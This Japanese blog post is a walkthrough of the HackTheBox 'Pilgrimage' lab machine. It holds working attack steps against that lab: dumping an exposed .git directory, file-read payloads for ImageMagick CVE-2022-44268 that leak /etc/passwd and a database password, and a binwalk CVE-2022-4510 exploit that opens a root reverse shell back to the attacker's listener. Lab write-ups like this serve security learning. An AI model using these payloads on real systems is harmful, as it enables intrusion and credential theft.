LoginSignup
2
1

HackTheBox Pilgrimage WriteUp

Last updated at Posted at 2023-11-25

今回はHackTheBoxのEasyマシン「Pilgrimage」のWriteUpです!
名前からして、imageファイル関連の脆弱性を悪用する流れになりそうですが、どのようなマシンなのでしょうか。

image.png

グラフは、簡単すぎないEasyマシンといった感じのグラフですね。
攻略目指して頑張ります!

HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Pilgrimage

侵入

それでは攻略を開始しましょう。
まずは、いつものようにnmapを実行していきます。

┌──(kali㉿kali)-[~/Desktop/Pilgrimage]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.219 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20be60d295f628c1b7e9e81706f168f3 (RSA)
|   256 0eb6a6a8c99b4173746e70180d5fe0af (ECDSA)
|_  256 d14e293c708669b4d72cc80b486e9804 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0

22番と80番が開いていました。
Webにアクセスしてみましょう。

image.png

ファイルをアップロードできるサイトが表示されました。
とりあえずアップロードしてみましょう。

image.png

アップロードしてみると、リンクが表示されました。
リンクをクリックすると、アップロードした画像が表示されます。
画像以外をアップロードできるか試してみます。

image.png

PHPファイルをアップロードしたところ、エラーが表示されました。
とりあえず一度アップロード機能は置いておきましょう。
サイトのヘッダー部分には、ログイン画面と新規作成画面への遷移があります。ログインすることはできなかったので、新規作成を行います。
新規作成すると、ダッシュボードが表示されます。

image.png

ログイン後、他に攻撃ができないか試しましたが、侵入に繋がりそうな攻撃はできそうにありませんでした。

git

一度、一歩引いてディレクトリ探索を行うことにしました。

┌──(shoo㉿kali)-[~/Desktop/Pilgrimage]
└─$ gobuster dir -u http://pilgrimage.htb -w /usr/share/wordlists/dirb/common.txt -x php -o gobuster.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pilgrimage.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/06/26 18:24:54 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 153]
/.git/HEAD            (Status: 200) [Size: 23]
/.htaccess            (Status: 403) [Size: 153]
/.htpasswd            (Status: 403) [Size: 153]
/assets               (Status: 301) [Size: 169] [--> http://pilgrimage.htb/assets/]
/dashboard.php        (Status: 302) [Size: 0] [--> /login.php]
/index.php            (Status: 200) [Size: 7621]
/index.php            (Status: 200) [Size: 7621]
/login.php            (Status: 200) [Size: 6166]
/logout.php           (Status: 302) [Size: 0] [--> /]
/register.php         (Status: 200) [Size: 6173]
/tmp                  (Status: 301) [Size: 169] [--> http://pilgrimage.htb/tmp/]
/vendor               (Status: 301) [Size: 169] [--> http://pilgrimage.htb/vendor/]
Progress: 9228 / 9230 (99.98%)
===============================================================
2023/06/26 18:27:29 Finished
===============================================================

.gitを発見しました。
git_dumperを使用し、ディレクトリをダンプします。スクリプトは下記のリポジトリからダウンロードできます。

ダウンロードができたら、実行しましょう。

$ python3 git_dumper.py http://pilgrimage.htb/.git/ ./git

ダンプが完了したので、ディレクトリを見てみると、dashboard.phpをはじめとするファイルを取得できたことが分かりました。

$ ls -la
total 26972
drwxr-xr-x 5 kali kali     4096 Nov 21 23:54 .
drwxr-xr-x 4 kali kali     4096 Nov 21 23:53 ..
drwxr-xr-x 6 kali kali     4096 Nov 21 23:54 assets
-rwxr-xr-x 1 kali kali     5538 Nov 21 23:54 dashboard.php
drwxr-xr-x 7 kali kali     4096 Nov 21 23:54 .git
-rwxr-xr-x 1 kali kali     9250 Nov 21 23:54 index.php
-rwxr-xr-x 1 kali kali     6822 Nov 21 23:54 login.php
-rwxr-xr-x 1 kali kali       98 Nov 21 23:54 logout.php
-rwxr-xr-x 1 kali kali 27555008 Nov 21 23:54 magick
-rwxr-xr-x 1 kali kali     6836 Nov 21 23:54 register.php
drwxr-xr-x 4 kali kali     4096 Nov 21 23:54 vendor

各PHPファイルを確認していると、index.phpImageMagicが使用されていることが分かりました。

$ cat index.php    
<?php
session_start();
require_once "assets/bulletproof.php";
<SNIP>
      $newname = uniqid();
      exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
      unlink($upload->getFullPath());
      $upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;
      if(isset($_SESSION['user'])) {
        $db = new PDO('sqlite:/var/db/pilgrimage');

CVE-2022-44268

ImageMagicの脆弱性を検索すると、任意のファイルを読み取ることができる脆弱性を発見しました。GitHubでPoCも紹介されています。

GitHubの手順を参考に、ファイルが読み取れるか試してみましょう。
まずは、それぞれの依存関係をインストールします。

$ sudo apt-get install pngcrush imagemagick exiftool exiv2 -y

次に、読み取りたいファイルを指定してpngcrushを実行します。

$ pngcrush -text a "profile" "/etc/passwd" kali.png
  Recompressing IDAT chunks in kali.png to pngout.png
   Total length of data found in critical chunks            =     10527
   Best pngcrush method        =  10 (ws 15 fm 6 zl 9 zs 1) =      8539
CPU time decode 0.013710, encode 0.026148, other 0.012403, total 0.082821 sec

実行すると、pngout.pngというファイルが保存されます。
このファイルを先ほどの画像アップロードのサイトでアップロードします。
脆弱である場合、ImageMagicにより、処理されファイルの内容を出力させることができるようになります。

image.png

アップロード後、出力されたリンク先にアクセスし画像を保存します。
保存できたら、保存したファイルに対してidentifyを実行します。

$ identify -verbose 655cc8164a583.png 
Image:
  Filename: 655cc8164a583.png
  Permissions: rw-r--r--
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  Class: DirectClass
  Geometry: 43x37+0+0
  Resolution: 56.69x56.69
<SNIP>
Raw profile type: 

    1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a

signature: a005a2e8b5001272fd2ab72b29d5052c9a42112b77666e7fc8653accde7042e6
  Artifacts:
    filename: 655cc8164a583.png
    verbose: true
  Tainted: False
  Filesize: 3960B
  Number pixels: 1591
  Pixels per second: 975415B
  User time: 0.000u
  Elapsed time: 0:01.001
  Version: ImageMagick 6.9.12-98 Q16 x86_64 18038 https://legacy.imagemagick.org

16進数として、データが出力されました。
これを復号してみます。

$ python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a3939383a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a").decode("utf-8"))'
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash

/etc/passwdの内容が出力されました!(出力は一部抜粋です)
ファイルの読み取りに対して脆弱であることがわかったので、他のファイルに対しても読み取りを行っていきます。
では、どのようなファイルに対して読み取りを行うかですが、dashboard.phpにヒントがありました。ファイルの内容を見ると、SQLiteのデータベースの存在が確認できます。

$ cat dashboard.php
<?php
session_start();
if(!isset($_SESSION['user'])) {
  header("Location: /login.php");
  exit(0);
}

function returnUsername() {
  return "\"" . $_SESSION['user'] . "\"";
}

function fetchImages() {
  $username = $_SESSION['user'];
  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM images WHERE username = ?");
  $stmt->execute(array($username));
  $allImages = $stmt->fetchAll(\PDO::FETCH_ASSOC);
  return json_encode($allImages);
}

?>

/var/db/pilgrimageを読み取ることで、認証情報を取得できるかもしれません。早速実行していきましょう。

$ pngcrush -text a "profile" "/var/db/pilgrimage" kali.png 
  Recompressing IDAT chunks in kali.png to pngout.png
   Total length of data found in critical chunks            =     10527
   Best pngcrush method        =  10 (ws 15 fm 6 zl 9 zs 1) =      8539
CPU time decode 0.013839, encode 0.025696, other 0.012454, total 0.083452 sec

作成されたpngout.pngをアップロードし、アップロード後のファイルをダウンロードします。

image.png

ダウンロードができたら、identifyを実行します。

$ identify -verbose 655ccc7447392.png

同じように、16進数で出力されるので、復号していきましょう。

┌──(shoo㉿kali)-[~/Desktop/Pilgrimage]
└─$ python3 -c 'print(bytes.fromhex("53514c69746520666f726d61742033001000010100402020000001110000000500000000000000000000000400000004000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000111002e4b910d0ff800040eba000f650fcd0eba0f38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007c03071719190181537461626c65696d61676573696d6167657304435245415445205441424c4520696d61676573202875726c2054455854205052494d415259204b4559204e4f54204e554c4c2c206f726967696e616c2054455854204e4f54204e554c4c2c20757365726e616d652054455854204e4f54204e554c4c292b0406173f190100696e64657873716c6974655f6175746f696e6465785f696d616765735f31696d616765730566010717171701812b7461626c657573657273757365727302435245415445205441424c452075736572732028757365726e616d652054455854205052494d415259204b4559204e4f54204e554c4c2c2070617373776f72642054455854204e4f54204e554c4c29290206173d170100696e64657873716c6974655f6175746f696e6465785f75736572735f3175736572730300000008000000000d000000020fd9000fe60fd900000000000000000000000000000000000b020315157465737474657374180103172d656d696c796162696763686f6e6b79626f693132330a000000020fee000ff70fee00000000"))'
b'SQLite format 3\x00\x10\x00\x01\x01\x00@  \x00\x00\x01\x11\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x00.K\x91\r\x0f\xf8\x00\x04\x0e\xba\x00\x0fe\x0f\xcd\x0e\xba\x0f8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x03\x07\x17\x19\x19\x01\x81
Stableimagesimages\x04CREATE TABLE images 
(url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL)
+\x04\x06\x17?\x19\x01\x00
indexsqlite_autoindex_images_1images
\x05f\x01\x07\x17\x17\x17\x01\x81+
tableusersusers\x02
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL))
\x02\x06\x17=\x17\x01\x00
indexsqlite_autoindex_users_1users
\x03\x00\x00\x00\x08\x00\x00\x00\x00\r\x00\x00\x00\x02\x0f\xd9\x00\x0f\xe6\x0f\xd9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x02\x03\x15\x15
testtest
\x18\x01\x03\x17-
emilyabigchonkyboi123
\n\x00\x00\x00\x02\x0f\xee\x00\x0f\xf7\x0f\xee\x00\x00\x00\x00'

ユーザ名(emily)とパスワードのような文字列(abigchonkyboi123)が出力されました!

emilyとしてのシェル

それではSSH接続が行えるか試してみましょう。

┌──(shoo㉿kali)-[~/Desktop/Pilgrimage]
└─$ ssh emily@10.10.11.219                                     
emily@10.10.11.219s password: 
emily@pilgrimage:~$ whoami
emily

SSH接続成功です!

emily@pilgrimage:~$ ls -l
total 4
-rw-r----- 1 root emily 33 Jun 23 05:38 user.txt

ユーザフラグも確認できました!

権限昇格

それでは、権限昇格へ移っていきましょう!
まずは、sudoが実行できるかを試してみます。

emily@pilgrimage:~$ sudo -l
[sudo] password for emily: 
Sorry, user emily may not run sudo on pilgrimage.

どうやら、使用できないようです。
では、pspyを実行し、プロセスを見てみましょう。

emily@pilgrimage:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

2023/11/22 02:38:49 CMD: UID=0     PID=747    | /bin/bash /usr/sbin/malwarescan.sh 
2023/11/22 02:38:49 CMD: UID=0     PID=728    | /bin/bash /usr/sbin/malwarescan.sh 

malwarescan.shというスクリプトが実行されていることを確認しました。ファイルの中身を確認してみます。

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh 
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
	filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
	binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
		if [[ "$binout" == *"$banned"* ]]; then
			/usr/bin/rm "$filename"
			break
		fi
	done
done

inotifywaitbinwalkが実行されています。
/var/www/pilgrimage.htb/shrunk/に新たなファイルを作成されるたびに、binwalkなどが実行されるようです。

CVE-2022-4510

スクリプトに脆弱性がある場合、/var/www/pilgrimage.htb/shrunk/に新たなファイルを作成することで実行させることができます。
スクリプトの脆弱性を見つけるために、少し調べてみるとbinwalkのバージョンが2.3.2であることを確認しました。

$ /usr/local/bin/binwalk

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk

Googleで調べてみたところ、RCEの脆弱性を発見しました

Exploit DBのコードをダウンロードし、実行していきます。

$ python3 51249.py kali.png 10.10.14.3 2121

実行すると、binwalk_exploit.pngという画像ファイルが作成されます。
malwarescan.shは、/var/www/pilgrimage.htb/shrunk/の中にあるファイルすべてに対してbinwalkを実行します。
scpで画像ファイルをサーバに送ります。

$ scp ./binwalk_exploit.png emily@10.10.11.219:/tmp/binwalk_exploit.png 

サーバに送ることができたら、/var/www/pilgrimage.htb/shrunk/へ移動させます。

$ cp /tmp/binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/

これで準備は万端です!

rootとしてのシェル

cpコマンドにより、/var/www/pilgrimage.htb/shrunk/に新しいファイルが作成されたので、実行されたはずです。
待ち受けていたシェルを確認してみましょう。

$ nc -lvnp 2121          
listening on [any] 2121 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.219] 53160
root@pilgrimage:~/quarantine# whoami
whoami
root

権限昇格に成功しました!

root@pilgrimage:~# ls -l 
ls -l
total 12
drwxr-xr-x 3 root root 4096 Nov 22 03:01 quarantine
-rwxr-xr-x 1 root root  352 Jun  1 19:13 reset.sh
-rw-r----- 1 root root   33 Nov 22 00:22 root.txt

フラグも取得でき、完全攻略達成です~!!

攻略を終えて

今回のマシンはサクサク攻略することができました!が、画像アップロードを少しだけ深追いしてしまいそうになったので、gitの存在に早めに気付くことができてよかったです。やはり、アップロード機能のような怪しい機能があると視野が狭くなりがちですが、攻略時には広い視野を持つことが大切だなと再認識しました。
脆弱性自体は分かりやすいものが多かったですが、最後のbinwalkのバージョンに関してはなかなかコマンドのバージョンに気付けないこともありそうだなと思いました。
やはり、gitのような重要な情報を持っている領域には確実なアクセス制御を心がけることが大切ですね。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1